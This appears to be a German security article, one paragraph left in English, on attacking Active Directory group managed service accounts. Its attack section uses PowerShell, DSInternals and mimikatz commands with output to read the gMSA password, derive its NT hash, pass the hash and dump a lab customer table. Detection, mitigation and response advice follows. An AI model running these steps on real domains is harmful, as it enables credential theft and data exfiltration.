Angriffe auf Group Managed Service Accounts

Angriffs-Tutorial: Wie ein Angriff mit Group Managed Service Accounts funktioniert

SCHRITT 1: Entdecken Sie ein ausnutzbares gMSA

Zuerst muss ein Angreifer gMSAs identifizieren, die er ausnutzen kann. Ein Angreifer muss entweder ein Konto kompromittiert haben, das Berechtigungen hat, die Berechtigungen des gMSA zu ändern, oder ein Konto mit Berechtigungen, das Passwort des gMSA zu lesen. (Das Computerkonto für jedes System, das den gMSA legitim verwendet, hat die Fähigkeit, das Passwort aus dem Active Directory zu lesen. Jeder Prozess, der als NT AUTHORITY\SYSTEM-Benutzer läuft, kann daher auf das Passwort des gMSA zugreifen.)

In diesem Beispiel hat ein Angreifer eine Schwachstelle in einem beliebten Content-Management-System (CMS) ausgenutzt, die die Ausführung von Remote-Code auf dem Webserver erlaubt. Sie entdeckten, dass das schlecht konfigurierte CMS als NT AUTHORITY\SYSTEM läuft und ermittelten die Identitäten, unter denen andere Websites auf dem Server laufen, und fanden das SvcCustomerWeb$ gMSA.

      PS C:\Windows\system32> whoami

nt authority\system

PS C:\Windows\system32> Import-Module WebAdministration

PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {

>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |

>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }

AppPoolNameidentityTypeuserName

-------------------------------

.NET v4.5ApplicationPoolIdentity

.NET v4.5 ClassicApplicationPoolIdentity

ContentManagementSystem LocalSystem

CustomerWebsiteSpecificUserSvcCustomerWeb$

DefaultAppPoolApplicationPoolIdentity

PS C:\Windows\system32>
      

SCHRITT 2: Kompromittieren Sie das gMSA-Passwort

Next, the adversary needs to render the gMSA's 256-byte password (the equivalent of 256 characters), which is composed entirely of random bits, into a usable format. They can either convert the random bytes into a usable password or convert it to a NTLM hash, which can then be used with Pass-the-Hash or Overpass-the-Hash techniques. The DSInternals PowerShell module provides the ConvertFrom-ADManagedPasswordBlob and ConvertTo-NTHash cmdlets for these purposes.

      PS C:\Windows\system32> Install-Module -Name DSInternals -Force

PS C:\Windows\system32> Import-Module DSInternals

# Acquire gMSA password

PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')

# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:

# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt

PS C:\Windows\system32> $gMSA.CurrentPassword

ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡÑ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌ힾ낝૕鋹员㾶񣉰쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ

# Obtain NTLM hash

PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword

9a9865e4a0412c6a726ec31568cbebc7

PS C:\Windows\system32>
      

SCHRITT 3: Verwenden Sie das gMSA-Passwort für weitere Ziele

Der Angreifer kann nun die kompromittierten Anmeldeinformationen nutzen, um seine Ziele weiterzuverfolgen. In diesem Beispiel verwendet der Angreifer Overpass-the-Hash, um sich an der Kundendatenbank zu authentifizieren und eine Liste der Kunden, ihrer Kontaktinformationen und ihrer Passwort-Hashes zu exfiltrieren.

      PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit

# A new command prompt opens

C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"

+--------------------------+

| (No column name)|

|--------------------------|

| DOMAIN\SvcCustomerWeb$|

+--------------------------+

(1 row affected)

+--------------+-------------+-----------+----------------------------+------------------------------------------+

| customerId| givenName| surName| email| password|

|--------------+-------------+-----------+----------------------------+------------------------------------------|

| 1| Bob| Jones| bjones@stealthbitslab.com| 6367c48dd193d56ea7b0baad25b19455e529f5ee |

| 2| Suzy| Smith| smith@stealthbitslab.com| 5d04c4864322580108f66e0e64c89a9aa31aef56 |

| 3| Amy| Hawkes| ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |

| 4| Jill| Paul| jpaul@stealthbitslab.com| 3e8e521392424218e6e1b12c6d8803ba0a8645cf |

+--------------+-------------+-----------+----------------------------+------------------------------------------+

(4 rows affected)
      

Erkennen, Minderung und Reaktion

Erkennen

Schwierigkeitsgrad: Niedrig

Es kann schwierig sein, alle unbefugten Lesevorgänge des msDS-ManagedPassword-Attributs zu erkennen, besonders wenn sie über das Computerkonto erfolgen. Allerdings sollten normale Benutzer niemals auf gMSA-Passwörter zugreifen, daher ist die Überwachung der Active Directory-Ereignisprotokolle auf den Zugriff auf gMSA-Passwörter durch andere Benutzer als Computerkonten eine wichtige Erkennung. Darüber hinaus ist auch die Überwachung von gMSA-Konten auf Änderungen der Berechtigungen (das msDS-GroupMSAMembership-Attribut) wichtig, um festzustellen, welche Entitäten auf das Passwort zugreifen können.
Ereignis-ID 4662 in der Unterkategorie Audit Directory Service Access überwacht grundlegende Informationen über Benutzer, die Operationen innerhalb von Active Directory für Ereignisse durchführen, die in einer Objekt-system access control list (SACL) festgelegt sind.
Mit diesem Ereignis ist es möglich zu sehen, wann ein Benutzer ein gMSA-Passwort liest. Um diese Ereignisse zu identifizieren, filtern Sie die Ereignisprotokolle nach:

• Operationstyp: Objektzugriff
• Zugriffe: Eigenschaft lesen
• Eigenschaften: Beinhaltet die GUID {e362ed86-b728-0842-b27d-2dea7a9df218}. Dies ist die GUID des msDS-ManagedPassword-Attributs.

Mildern

Schwierigkeitsgrad: Mittel

Die Minderung des Risikos einer gMSA-Ausnutzung dreht sich letztendlich um den Schutz von Active Directory-Privilegien, die es einem Angreifer erlauben, gMSA-Berechtigungen zu ändern oder das Passwort zu lesen, und um die Übernahme anderer Best Practices zur Verhinderung von Infiltrationen:

• Überprüfen Sie regelmäßig die Berechtigungen zur Änderung von gMSA-Konten und setzen Sie das Prinzip der minimalen Rechtevergabe konsequent um.
• Überprüfen Sie regelmäßig die Mitgliedschaft des msDS-GroupMSAMembership-Attributs bei jedem gMSA und stellen Sie sicher, dass nur autorisierte Computerkonten Berechtigungen erhalten, um das Passwort zu nutzen.
• Alarmieren Sie in Echtzeit über Änderungen an gMSA-Berechtigungen.

Antworten

Schwierigkeitsgrad: Mittel

Sollte ein anderer Benutzer als ein autorisiertes Computerkonto das gMSA-Passwort abrufen oder eine unbefugte Änderung der gMSA-Berechtigungen erfolgen, gibt es mehrere Maßnahmen, die man sofort ergreifen kann:

• Aktivieren Sie den Incident-Response-Prozess und alarmieren Sie das Reaktionsteam.
• Setzen Sie das Passwort des Benutzers, der die Aktion durchgeführt hat, zurück und deaktivieren Sie diesen Benutzer optional, um a) die sofortige Replikation auf alle Domänencontroller zu erzwingen und b) die Nutzung des Kontos durch den Gegner zu unterbrechen.
• Setzen Sie das Passwort für das betroffene gMSA zurück.
• Quarantäne für die betroffenen Maschinen zur forensischen Untersuchung sowie für Ausrottungs- und Wiederherstellungsaktivitäten.